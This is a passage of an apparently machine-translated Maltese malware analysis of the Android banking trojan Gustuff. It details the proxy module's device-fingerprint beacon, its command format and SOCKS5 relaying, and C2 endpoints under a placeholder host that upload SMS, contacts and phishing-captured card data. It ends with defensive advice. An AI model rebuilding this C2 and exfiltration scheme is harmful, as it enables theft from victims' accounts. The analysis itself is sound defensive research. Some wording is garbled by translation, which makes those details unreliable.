Il-klassi tal-ipproċessar tal-kmand tissejjaħ CommandConnection. Immedjatament wara l-istartjar, iwettaq l-azzjonijiet li ġejjin:

4. Tqabbad ma' ProxyConfigClass.host: ProxyConfigClass.commandPort u jibgħat dejta dwar l-apparat infettat hemmhekk fil-format JSON:

{
    "id":<%id%>,
    "imei":<%imei%>,
    "imsi":<%imsi%>,
    "model":<%model%>,
    "manufacturer":<%manufacturer%>,
    "androidVersion":<%androidVersion%>,
    "country":<%country%>,
    "partnerId":<%partnerId%>,
    "packageName":<%packageName%>,
    "networkType":<%networkType%>,
    "hasGsmSupport":<%hasGsmSupport%>,
    "simReady":<%simReady%>,
    "simCountry":<%simCountry%>,
    "networkOperator":<%networkOperator%>,
    "simOperator":<%simOperator%>,
    "version":<%version%>
}

Fejn:

  • id – identifikatur, jipprova jikseb valur bil-qasam “id” mill-fajl tal-Preferenza Maqsuma bl-isem “x”. Jekk dan il-valur ma setax jinkiseb, jiġġenera wieħed ġdid. Għalhekk, il-modulu Proxy għandu l-identifikatur tiegħu stess, li huwa ġġenerat b'mod simili għall-Bot ID.
  • imei — IMEI tal-apparat. Jekk seħħ żball matul il-proċess tal-kisba tal-valur, jinkiteb messaġġ ta' żball minflok dan il-qasam.
  • imsi — International Mobile Subscriber Identity tal-apparat. Jekk seħħ żball matul il-proċess tal-kisba tal-valur, jinkiteb messaġġ ta' żball minflok dan il-qasam.
  • mudell — L-isem viżibbli mill-utent finali għall-prodott finali.
  • manifattur — Il-manifattur tal-prodott/ħardwer (Build.MANUFACTURER).
  • androidVersion - string fil-format "<%release_version%> (<%os_version%>),<%sdk_version%>"
  • pajjiż — il-post attwali tal-apparat.
  • partnerId hija string vojta.
  • packageName – isem tal-pakkett.
  • networkType — tip ta’ konnessjoni tan-netwerk kurrenti (eżempju: “WIFI”, “MOBILE”). F'każ ta' żball, jirritorna null.
  • hasGsmSupport - veru - jekk it-telefon jappoġġja GSM, inkella falz.
  • simReady – Stat tal-karta SIM.
  • simCountry - kodiċi tal-pajjiż ISO (ibbażat fuq il-fornitur tal-karta SIM).
  • networkOperator — isem tal-operatur. Jekk seħħ żball matul il-proċess tal-kisba tal-valur, jinkiteb messaġġ ta' żball minflok dan il-qasam.
  • simOperator — L-Isem tal-Fornitur tas-Servizz (SPN). Jekk seħħ żball matul il-proċess tal-kisba tal-valur, jinkiteb messaġġ ta' żball minflok dan il-qasam.
  • verżjoni - dan il-qasam huwa maħżun fil-klassi konfigurazzjoni; għall-verżjonijiet ittestjati tal-bot kien ugwali għal "1.6".

5. Jaqleb għall-mod ta 'stennija għall-kmandi mis-server. Kmandi mis-server jiġu fil-format:

  • 0 offset – kmand
  • 1 offset – sessionId
  • 2 offset – tul
  • 4 offset - data

Meta jasal kmand, l-applikazzjoni tirreġistra:
mainLog("Header { sessionId<%id%>], tip[<%kmand%>], tul[<%length%>] }")

Il-kmandi li ġejjin mis-server huma possibbli:

isem Kmand Data deskrizzjoni
connectionId 0 ID tal-konnessjoni Oħloq konnessjoni ġdida
TAGĦMIR 3 ħin Waqqaf il-modulu Proxy
PING_PONG 4 - Ibgħat messaġġ PONG

Messaġġ PONG jikkonsisti f'4 bytes u jidher bħal dan: 0x04000000.

Meta jasal il-kmand connectionId (biex tinħoloq konnessjoni ġdida) CommandConnection joħloq eżempju ta’ klassi ProxyConnection.

  • Żewġ klassijiet jieħdu sehem fil-prokura: ProxyConnection и aħħar. Meta toħloq klassi ProxyConnection konnessjoni mal-indirizz ProxyConfigClass.host: ProxyConfigClass.proxyPort u tgħaddi l-oġġett JSON:

 {
    "id":<%connectionId%>
}

Bi tweġiba, is-server jibgħat messaġġ SOCKS5 li fih l-indirizz tas-server remot li miegħu trid tiġi stabbilita l-konnessjoni. L-interazzjoni ma' dan is-server isseħħ permezz tal-klassi aħħar. Is-setup tal-konnessjoni tista' tiġi rappreżentata b'mod skematiku kif ġej:

Kif l-Android Trojan Gustuff jiskuma l-krema (fiat u crypto) mill-kontijiet tiegħek

Interazzjonijiet tan-netwerk

Biex tiġi evitata l-analiżi tat-traffiku minn sniffers tan-netwerk, l-interazzjoni bejn is-server CnC u l-applikazzjoni tista 'tiġi protetta bl-użu tal-protokoll SSL. Id-dejta kollha trażmessa kemm minn u lejn is-server hija ppreżentata fil-format JSON. L-applikazzjoni tesegwixxi t-talbiet li ġejjin waqt l-operazzjoni:

  • http://<%CnC%>/api/v1/set_state.php — ir-riżultat tal-eżekuzzjoni tal-kmand.
  • http://<%CnC%>/api/v1/get.php — jirċievi kmand.
  • http://<%CnC%>/api/v1/load_sms.php — iniżżel messaġġi SMS minn apparat infettat.
  • http://<%CnC%>/api/v1/load_ab.php — ittella’ lista ta’ kuntatti minn apparat infettat.
  • http://<%CnC%>/api/v1/aevents.php – it-talba ssir meta jiġu aġġornati l-parametri li jinsabu fil-fajl tal-preferenza.
  • http://<%CnC%>/api/v1/set_card.php — ittella’ dejta miksuba permezz ta’ tieqa tal-phishing li tidher bħala l-Google Play Market.
  • http://<%CnC%>/api/v1/logs.php – ittella 'data log.
  • http://<%CnC%>/api/v1/records.php – ittella’ ta’ data miksuba permezz ta’ twieqi tal-phishing.
  • http://<%CnC%>/api/v1/set_error.php – notifika ta' żball li jkun seħħ.

Rakkomandazzjonijiet

Sabiex jipproteġu lill-klijenti tagħhom mit-theddida tat-trojans mobbli, il-kumpaniji għandhom jużaw soluzzjonijiet komprensivi li jippermettulhom jimmonitorjaw u jipprevjenu attività malizzjuża mingħajr ma jinstallaw softwer addizzjonali fuq tagħmir tal-utent.

Biex tagħmel dan, jeħtieġ li jissaħħu l-metodi ta 'firma għall-iskoperta ta' Trojans mobbli b'teknoloġiji għall-analiżi tal-imġieba kemm tal-klijent kif ukoll tal-applikazzjoni nnifisha. Il-protezzjoni għandha tinkludi wkoll funzjoni ta’ identifikazzjoni tal-apparat bl-użu tat-teknoloġija tal-marki tas-swaba’ diġitali, li tagħmilha possibbli li wieħed jifhem meta kont qed jintuża minn apparat atipiku u jkun diġà waqa’ f’idejn frodist.

Punt fundamentalment importanti huwa d-disponibbiltà ta 'analiżi cross-channel, li tippermetti lill-kumpaniji jikkontrollaw ir-riskji li jinqalgħu mhux biss fuq l-Internet, iżda wkoll fuq il-kanal mobbli, pereżempju, f'applikazzjonijiet għall-banek mobbli, għal tranżazzjonijiet bil-kripto-muniti u kwalunkwe oħra fejn transazzjonijiet jistgħu jitwettqu.transazzjoni finanzjarja.

Regoli ta' sigurtà għall-utenti:

  • tinstallax applikazzjonijiet għal apparat mobbli b'Android OS minn kwalunkwe sors għajr Google Play, agħti attenzjoni speċjali għad-drittijiet mitluba mill-applikazzjoni;
  • tinstalla regolarment aġġornamenti ta 'Android OS;
  • tagħti attenzjoni lill-estensjonijiet tal-fajls imniżżla;
  • iżżurx riżorsi suspettużi;
  • Tikklikkjax fuq links riċevuti f'messaġġi SMS.

Starring Semyon Rogacheva, speċjalista junior fir-riċerka tal-malware fil-Laboratorju tal-Forensika tal-Kompjuter tal-Grupp-IB.

Sors: www.habr.com

Żid kumment